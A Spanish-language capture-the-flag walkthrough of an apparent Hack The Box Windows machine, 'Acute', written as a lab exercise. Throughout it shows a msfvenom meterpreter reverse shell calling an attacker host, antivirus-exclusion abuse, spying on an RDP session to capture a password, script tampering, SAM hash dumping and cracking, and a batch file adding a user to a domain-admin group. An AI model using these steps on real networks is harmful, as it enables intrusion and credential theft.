Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos solo un puerto tcp abierto que es el 443
que corre un servicio https
❯ nmap 10.10.11.145
Nmap scan report for 10.10.11.145
PORT STATE SERVICE
443/tcp open https
Al conectarnos con openssl
al puerto 443 para inspeccionar el certificado en el CN
nos muestra el dominio para el que esta destinado que es atsserver.acute.local
❯ openssl s_client -connect 10.10.11.145:443 | head
Can't use SSL_get_servername
depth=0 CN = atsserver.acute.local
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = atsserver.acute.local
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = atsserver.acute.local
verify return:1
CONNECTED(00000003)
---
Certificate chain
0 s:CN = atsserver.acute.local
i:DC = local, DC = acute, CN = acute-ATSSERVER-CA
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Jan 6 06:34:58 2022 GMT; NotAfter: Jan 4 06:34:58 2030 GMT
---
Como probablemente nos resuelva a una web diferente cuando entremos desde el dominio
existente lo agregaremos a la ultima linea del archivo /etc/hosts
❯ echo "10.10.11.145 atsserver.acute.local" | sudo tee -a /etc/hosts
La web principal parece ser una página interna algo simple de la empresa en cuestion
Si vamos a About Us
encontramos 2 cosas interesantes, la primera es que podemos descargar un archivo docx
y la segunda es que podemos ver algunos usuarios
Con la lista de usuarios podemos crear una lista de posibles usuarios
a nivel de sistema usando el formato NSurname
que es utilizado en entornos Windows
AWallace
CHall
EDavies
IMonks
JMorgan
LHopkins
Ademas de eso podemos descargar el archivo docx
y abrirlo usando libreoffice
Shell - edavies
En el archivo de office se invita a los usuarios a cambiar la contraseña que esta por defecto
lo antes posible, la contraseña por defecto nos dice que es Password1!
Tambien la ruta /Acute_Staff_Access
en la web que si lo abrimos en la web vemos que es un Windows PowerShell Web Access
pero necesitamos credenciales
Necesitamos 3 datos para acceder aqui, un usuario
, su contraseña
y el nombre de un equipo
del dominio donde vamos a obtener una powershell interactiva
Mirando los metadatos del docx usando exiftool
encontramos que se creo en el equipo Acute-PC01
, ahora tenemos el nombre de un equipo que necesitamos
❯ exiftool New_Starter_CheckList_v7.docx
ExifTool Version Number : 12.64
File Name : New_Starter_CheckList_v7.docx
Directory : .
File Size : 35 kB
File Modification Date/Time : 2023:08:22 20:28:18-06:00
File Access Date/Time : 2023:08:22 20:28:29-06:00
File Inode Change Date/Time : 2023:08:22 20:28:24-06:00
File Permissions : -rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x079b7eb2
Zip Compressed Size : 428
Zip Uncompressed Size : 2527
Zip File Name : [Content_Types].xml
Creator : FCastle
Description : Created on Acute-PC01
Last Modified By : Daniel
Revision Number : 8
Last Printed : 2021:01:04 15:54:00Z
Create Date : 2021:12:08 14:21:00Z
Modify Date : 2021:12:22 00:39:00Z
Template : Normal.dotm
Total Edit Time : 2.6 hours
Pages : 3
Words : 886
Characters : 5055
Application : Microsoft Office Word
Doc Security : None
Lines : 42
Paragraphs : 11
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company : University of Marvel
Links Up To Date : No
Characters With Spaces : 5930
Shared Doc : No
Hyperlinks Changed : No
App Version : 16.0000
La contraseña por defecto funciona para el usuario EDavies
en el equipo Acute-PC01
Username: EDavies
Password: Password1!
Computer: Acute-PC01
Al ingresar estas credenciales son validas por lo que ganamos acceso a una powershell
interactiva como el usuario edavies
en el equipo Acute-PC01
Shell - imonks
Si intentamos enumerar el sistema usando winpeas al intentar ejecutarlo nos dice que se ha bloqueado el archivo porque es posible que sea un virus malicioso
PS C:\Users\edavies\Documents> curl 10.10.14.10/winpeas.exe -o winpeas.exe
PS C:\Users\edavies\Documents> .\winpeas.exe
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software.
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
PS C:\Users\edavies\Documents>
A través de los registros podemos enumerar rutas donde el antivirus
no nos afecta, una interesante es C:\Utils
ya que podemos escribir en ella sin que nos afecte
PS C:\Users\edavies\Documents> reg query 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths'
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
C:\Utils REG_DWORD 0x0
C:\Windows\System32 REG_DWORD 0x0
PS C:\Users\edavies\Documents>
Al ejecutar winpeas
en esta ruta se ejecuta sin problemas del antivirus, algo interesante que nos enumera es que hay una sesion RDP
activa en el equipo
PS C:\Utils> curl 10.10.14.10/winpeas.exe -o winpeas.exe
PS C:\Utils> .\winpeas.exe
╔══════════╣ RDP Sessions
SessID pSessionName pUserName pDomainName State SourceIP
1 Console edavies ACUTE Active
Podemos pensar en ver la pantalla o detectar pulsaciones pero para hacerlo mas sencillo iniciamos creando un exe que nos envie una sesion de meterpreter
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
Ahora definimos un listener con metasploit usando interfaz tun0
y el puerto 443
❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 443
lport => 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.10:443
Finalmente descargamos el archivo shell.exe
y lo ejecutamos, el resultado es que recibimos una sesion de meterpreter
como el usuario edavies con mas funciones
PS C:\Utils> curl 10.10.14.10/shell.exe -o shell.exe
PS C:\Utils> .\shell.exe
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.10:443
[*] Sending stage (200774 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.10:443 -> 10.10.11.145:49832)
(Meterpreter 1)(C:\Utils) > getuid
Server username: ACUTE\edavies
(Meterpreter 1)(C:\Utils) >
Ya en la sesión de meterpreter
como edavies tenemos la función screenshare
que nos permite ver lo que pasa en la pantalla
de la sesión rdp activa en tiempo real
(Meterpreter 1)(C:\Utils) > screenshare
[*] Preparing player...
[*] Opening player at: /home/kali/VsMvfHpX.html
[*] Streaming...
Después de unos segundos el usuario abre una powershell
y define una credencial como imonks
, despues intenta abrir una sesion con una configuracion
especial
$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
En los comandos intenta acceder con una configuración llamada dc_manage
, en el docx podemos ver que es una configuracion que limita nuestros comandos
Ya con la credencial del usuario imonks
podemos ejecutar comandos en el equipo ATSSERVER
usando la configuracion dc_manage
que veiamos en los comandos
PS C:\Utils> $SecPassword = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
PS C:\Utils> $Cred = New-Object System.Management.Automation.PSCredential("Acute\IMonks", $SecPassword)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { whoami }
acute\imonks
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type ..\Desktop\user.txt }
fc3**************************b2e
PS C:\Utils>
Shell - jmorgan
Además de la flag de user en el escritorio de imonks
encontramos un script en powershell
el cual define una credencial para el usuario jmorgan
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { ls ..\Desktop }
Directory: C:\Users\imonks\Desktop
Mode LastWriteTime Length Name PSComputerName
---- ------------- ------ ---- --------------
-ar--- 23/8/2023 03:05 34 user.txt ATSSERVER
-a---- 11/1/2022 18:04 602 wm.ps1 ATSSERVER
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type ..\Desktop\wm.ps1 }
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
PS C:\Utils>
Sin embargo al intentar definirla nos devuelve un error
, pero probablemente es debido al contexto de powershell
con informacion a la que no podemos acceder
PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString
ConvertTo-SecureString : Key not valid for use in specified state.
At line:1 char:27
+ $passwd = $securepasswd | ConvertTo-SecureString
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [ConvertTo-SecureString], CryptographicException
+ FullyQualifiedErrorId : ImportSecureString_InvalidArgument_CryptographicError,Microsoft.PowerShell.Commands.Conv
ertToSecureStringCommand
PS C:\Utils>
Lo que podemos hacer el modificar el comando que ejecuta en Acute-PC01
por el archivo shell.exe
que subimos antes, para en caso de ejecutarlo nos envie una shell
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { ((type "..\Desktop\wm.ps1" -Raw) -Replace "Get-Volume","cmd /c C:\Utils\shell.exe") | Set-Content -Path ..\Desktop\wm.ps1 }
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type ..\Desktop\wm.ps1 }
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {cmd /c C:\Utils\shell.exe} -ComputerName Acute-PC01 -Credential $creds
PS C:\Utils>
Finalmente ejecutamos el script de powershell y el ejecutar el shell.exe
nos envia una sesión de meterpreter pero como el usuario jmorgan
que es admin local
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { C:\Users\imonks\Desktop\wm.ps1 }
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.10:443
[*] Sending stage (200774 bytes) to 10.10.11.145
[*] Meterpreter session 2 opened (10.10.14.10:443 -> 10.10.11.145:49856)
(Meterpreter 2)(C:\Users\jmorgan\Documents) > getuid
Server username: ACUTE\jmorgan
(Meterpreter 2)(C:\Users\jmorgan\Documents) >
Shell - awallace
Al ser jmorgan
un administrador local tiene privilegios locales sobre el equipo, por lo que podemos dumpear la sam
usando la funcion hashdump
de meterpreter
(Meterpreter 2)(C:\Users\jmorgan\Documents) > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
(Meterpreter 2)(C:\Users\jmorgan\Documents) >
Intentando crackear los hashes NT
de los usuarios aplicando fuerza bruta con john
conseguimos ver la contraseña del usuario Administrator
en texto plano
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes --format=NT
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (NT [MD4 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password@123 (Administrator)
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
Despues de probar multiples credenciales con los usuarios
logramos ejecutar comandos como el usuario awallace
que reutiliza esta contraseña para el dominio
PS C:\Utils> $SecPassword = ConvertTo-SecureString "Password@123" -AsPlaintext -Force
PS C:\Utils> $Cred = New-Object System.Management.Automation.PSCredential("Acute\AWallace", $SecPassword)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { whoami }
acute\awallace
PS C:\Utils>
Shell - Administrator
Ya como el usuario awallace
obtnemos acceso a un script llamado keepmeon.bat
en C:\Program Files
, este dice que se ejecuta cada 5 minutos por Lois
, el script es simple, ejecuta todos los archivos con extensión .bat
en el directorio actual
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { ls "C:\Program Files\keepmeon" }
Directory: C:\Program Files\keepmeon
Mode LastWriteTime Length Name PSComputerName
---- ------------- ------ ---- --------------
-a---- 21/12/2021 14:57 128 keepmeon.bat ATSSERVER
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type "C:\Program Files\keepmeon\keepmeon.bat" }
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
PS C:\Utils>
En el archivo docx
nos dice que el usuario Lois probablemente lhopkins
puede agregar al grupo site admin
a cualquier usuario, esto sera temporalmente
El grupo Site_Admin
existe en el dominio, pero actualmente no tiene usuarios en el
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { net group /domain }
Group Accounts for \\
-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Managers
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Site_Admin
The command completed with one or more errors.
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { net group Site_Admin /domain }
Group name Site_Admin
Comment Only in the event of emergencies is this to be populated. This has access to Domain Admin group
Members
-------------------------------------------------------------------------------
The command completed successfully.
PS C:\Utils>
La idea es simple, creamos un .bat
que en caso de ejecutarse agregue a awallace
al grupo site_admin
, de resto es esperar 5
minutos a que se ejecute el script
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { Set-Content -Path "C:\Program Files\keepmeon\pwned.bat" -Value "net group Site_Admin awallace /add /domain" }
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type "C:\Program Files\keepmeon\pwned.bat" }
net group Site_Admin awallace /add /domain
PS C:\Utils>
Pasados los 5 minutos el usuario awallace
pertenecera al grupo Site_Admin
y al revisar los privilegios el usuario tiene maximos privilegios
sobre el equipo
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { net group Site_Admin /domain }
Group name Site_Admin
Comment Only in the event of emergencies is this to be populated. This has access to Domain Admin group
Members
-------------------------------------------------------------------------------
awallace
The command completed successfully.
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { whoami /priv }
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Utils>
Ya con privilegios maximos solo nos queda leer la flag
del usuario Administrator
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type C:\Users\Administrator\Desktop\root.txt }
802**************************880
PS C:\Utils>